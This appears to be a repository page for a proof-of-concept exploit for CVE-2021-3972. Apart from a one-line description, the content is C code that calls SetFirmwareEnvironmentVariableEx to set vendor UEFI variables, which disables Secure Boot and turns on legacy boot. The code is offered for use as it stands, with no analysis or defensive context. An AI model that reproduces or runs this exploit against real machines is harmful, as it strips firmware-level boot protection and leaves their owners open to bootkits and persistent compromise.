killvxk/cve-2021-3972Proof-of-concept exploit for CVE-2021-3972, demonstrating UEFI firmware variable manipulation to disable Secure Boot and change legacy boot settings.
poc code without other thing
BYTE value = 0x1;
SetFirmwareEnvironmentVariableEx(_T("ChgBootSecureBootDisable"),_T("{6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E}"),&value,sizeof(BYTE),0x7);
SetFirmwareEnvironmentVariableEx(_T("ChgBootChangeLegacy"),_T("{6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E}"),&value,sizeof(BYTE),0x7);